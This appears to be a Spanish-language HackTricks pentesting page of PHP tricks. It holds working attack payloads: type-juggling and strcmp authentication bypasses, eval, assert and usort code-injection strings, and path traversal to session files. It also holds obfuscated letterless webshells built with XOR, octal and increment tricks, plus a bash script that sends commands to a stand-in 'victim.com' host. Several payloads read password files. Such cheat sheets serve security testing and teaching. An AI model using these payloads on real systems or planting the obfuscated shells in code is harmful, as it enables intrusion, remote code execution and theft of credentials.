hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

21 KiB

Trucos de PHP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ubicación común de las cookies:

Esto también es válido para las cookies de phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Ubicaciones:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Saltando comparaciones en PHP

Comparaciones sueltas / Type Juggling ( == )

Si se usa == en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también desea comparar que el tipo de los datos comparados sea el mismo, debe usar ===.

Tablas de comparación de PHP: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Una cadena que no comienza con un número es igual a un número
  • "0xAAAA" == "43690" -> True Las cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números eran los mismos (los números en una cadena se interpretan como números)
  • "0e3264578" == 0 --> True Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
  • "0X3264578" == 0X --> True Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
  • "0e12334" == "0" --> True Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo con él. Por lo tanto, si puede proporcionar un valor que creará un hash que comience con "0e" y sin ninguna letra, podría saltarse la comparación. Puede encontrar cadenas ya hasheadas con este formato aquí: https://github.com/spaze/hashes
  • "X" == 0 --> True Cualquier letra en una cadena es igual a int 0

Más información en https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling también afecta a la función in_array() de forma predeterminada (necesita establecer en verdadero el tercer argumento para hacer una comparación estricta):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si esta función se utiliza para cualquier verificación de autenticación (como comprobar la contraseña) y el usuario controla uno de los lados de la comparación, puede enviar una matriz vacía en lugar de una cadena como valor de la contraseña (https://example.com/login.php/?username=admin&password[]=) y evitar esta comprobación:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

El mismo error ocurre con strcasecmp().

Conversión estricta de tipos

Incluso si se utiliza ===, puede haber errores que hagan que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de comparar:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() se puede utilizar para validar la entrada del usuario (verifica si alguna palabra/regex de una lista negra está presente en la entrada del usuario y si no lo está, el código puede continuar su ejecución).

Bypass de nueva línea

Sin embargo, al delimitar el inicio de la expresión regular, preg_match() solo verifica la primera línea de la entrada del usuario, por lo que si de alguna manera se puede enviar la entrada en varias líneas, se podría evitar esta verificación. Ejemplo:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Para evitar esta comprobación, podrías enviar el valor con saltos de línea urlencoded (%0A) o si puedes enviar datos JSON, envíalos en varias líneas:

{
  "cmd": "cat /etc/passwd"
}

Aquí tienes un ejemplo: https://ramadistra.dev/fbctf-2019-rceservice

Bypass de error de longitud

(Este bypass aparentemente se probó en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)
Si puedes enviar a preg_match() una entrada muy grande y válida, no podrá procesarla y podrás burlar la comprobación. Por ejemplo, si está en una lista negra un JSON, podrías enviar:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'

Tipos de datos en PHP para ofuscación

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Ejecución Después de Redireccionamiento (EAR)

Si PHP está redireccionando a otra página pero no se llama a la función die o exit después de establecer la cabecera Location, PHP continúa ejecutando y agregando los datos al cuerpo:

<?php
// In this page the page will be read and the content appended to the body of 
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Más trucos

  • register_globals: En PHP < 4.1.1.1 o si está mal configurado, register_globals puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $_GET si tienen un valor, por ejemplo $_GET["param"]="1234", puedes acceder a él a través de $param. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables que se utilizan dentro del código.
  • Las cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar, por lo tanto, si dentro de un dominio se utilizan diferentes cookies en diferentes rutas puedes hacer que una ruta acceda a la cookie de la otra ruta estableciendo el valor de la cookie de la otra ruta.
    De esta manera, si ambas rutas acceden a una variable con el mismo nombre puedes hacer que el valor de esa variable en la ruta1 se aplique a la ruta2. Y luego la ruta2 tomará como válidas las variables de la ruta1 (dando a la cookie el nombre que le corresponde en la ruta2).
  • Cuando tienes los nombres de usuario de los usuarios de la máquina. Comprueba la dirección: /~<USERNAME> para ver si los directorios php están activados.
  • LFI y RCE usando envoltorios php

password_hash/password_verify

Estas funciones se utilizan típicamente en PHP para generar hashes a partir de contraseñas y para verificar si una contraseña es correcta en comparación con un hash.
Los algoritmos admitidos son: PASSWORD_DEFAULT y PASSWORD_BCRYPT (comienza con $2y$). Ten en cuenta que PASSWORD_DEFAULT es frecuentemente lo mismo que PASSWORD_BCRYPT. Y actualmente, PASSWORD_BCRYPT tiene una limitación de tamaño en la entrada de 72bytes. Por lo tanto, cuando intentas hashear algo más grande que 72bytes con este algoritmo, solo se utilizarán los primeros 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Bypass de cabeceras HTTP abusando de errores de PHP

Si una página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario, el usuario puede hacer que el servidor PHP devuelva algún contenido lo suficientemente largo como para que cuando intente agregar las cabeceras en la respuesta, el servidor arroje un error.
En el siguiente escenario, el atacante hizo que el servidor arrojara algunos errores grandes, y como se puede ver en la pantalla, cuando PHP intentó modificar la información de la cabecera, no pudo (por lo que, por ejemplo, la cabecera CSP no se envió al usuario):

Ejecución de código

system("ls");
`ls`;
shell_exec("ls");

Consulte esto para obtener más funciones útiles de PHP

Ejecución de código usando preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Para ejecutar el código en el argumento "replace" es necesario que haya al menos una coincidencia.
Esta opción de preg_replace ha sido obsoleta desde PHP 5.5.0.

Ejecución de código con Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Ejecución de código con Assert()

Esta función dentro de PHP te permite ejecutar código que está escrito en una cadena para devolver verdadero o falso (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en el medio de una cadena. Por ejemplo:
assert("strpos($_GET['page']),'..') === false") --> En este caso, para obtener RCE, podrías hacer:

?page=a','NeVeR') === false and system('ls') and strpos('a

Necesitarás romper la sintaxis del código, añadir tu payload y luego arreglarlo de nuevo. Puedes usar operaciones lógicas como "and" o "%26%26" o "|". Ten en cuenta que "or", "||" no funcionan porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.

Otra opción es agregar a la cadena la ejecución del comando: '.highlight_file('.passwd').'

Otra opción (si tienes el código interno) es modificar alguna variable para alterar la ejecución: $file = "hola"

Ejecución de código con usort()

Esta función se utiliza para ordenar una matriz de elementos utilizando una función específica.
Para abusar de esta función:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
    usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
    usort();}phpinfo;#, "cmp");
}?>

También puedes usar // para comentar el resto del código.

Para descubrir el número de paréntesis que necesitas cerrar:

  • ?order=id;}//: obtenemos un mensaje de error (Parse error: syntax error, unexpected ';'). Probablemente nos falte uno o más corchetes.
  • ?order=id);}//: obtenemos una advertencia. Eso parece estar bien.
  • ?order=id));}//: obtenemos un mensaje de error (Parse error: syntax error, unexpected ')' i). Probablemente tengamos demasiados corchetes de cierre.

Ejecución de código a través de .httaccess

Si puedes subir un .htaccess, entonces puedes configurar varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess se pueden ejecutar).

Se pueden encontrar diferentes shells de .htaccess aquí

Análisis estático de PHP

Busca si puedes insertar código en llamadas a estas funciones (de aquí):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si estás depurando una aplicación PHP, puedes habilitar la impresión de errores globalmente en /etc/php5/apache2/php.ini agregando display_errors = On y reiniciando apache: sudo systemctl restart apache2.

Desofuscando código PHP

Puedes usar la web www.unphp.net para desofuscar código PHP.

Wrappers y protocolos de PHP

Los Wrappers y protocolos de PHP podrían permitirte burlar las protecciones de escritura y lectura en un sistema y comprometerlo. Para más información, consulta esta página.

RCE no autenticado de Xdebug

Si ves que Xdebug está habilitado en una salida de phpconfig(), deberías intentar obtener RCE a través de https://github.com/nqxcode/xdebug-exploit.

Variables variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusando de new $_GET["a"]($_GET["b"])

Si en una página puedes crear un nuevo objeto de una clase arbitraria, podrías obtener RCE, revisa la siguiente página para aprender cómo hacerlo:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Ejecutar PHP sin letras

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Usando octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

El operador XOR (Exclusive OR) es una operación lógica que se utiliza en programación para comparar dos valores binarios. El resultado de la operación es 1 si los valores son diferentes y 0 si son iguales. En el contexto del hacking, XOR se utiliza a menudo para cifrar y descifrar datos.

En PHP, el operador XOR se representa con el símbolo ^. Por ejemplo, 0b1010 ^ 0b1100 dará como resultado 0b0110.

Para cifrar datos con XOR en PHP, se puede utilizar la función str_repeat() para repetir una clave de cifrado y la función ord() para obtener el valor numérico de cada carácter en la cadena de datos. A continuación, se puede aplicar el operador XOR a cada valor numérico utilizando la clave de cifrado repetida.

Para descifrar datos cifrados con XOR en PHP, se puede utilizar el mismo proceso, pero aplicando el operador XOR inverso ($a ^ $b = $c es lo mismo que $a ^ $c = $b) para obtener los valores numéricos originales. A continuación, se puede utilizar la función chr() para convertir los valores numéricos en caracteres y reconstruir la cadena de datos original.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Código shell XOR fácil

Según este artículo, es posible generar un código shell fácil utilizando XOR de la siguiente manera:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Entonces, si puedes ejecutar PHP arbitrario sin números ni letras, puedes enviar una solicitud como la siguiente abusando de ese payload para ejecutar PHP arbitrario:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Para una explicación más detallada, consulte https://ctf-wiki.org/web/php/php/#preg_match

Código de shell XOR (dentro de eval)

#!/bin/bash

if [[ -z $1 ]]; then
  echo "USAGE: $0 CMD"
  exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Similar a Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥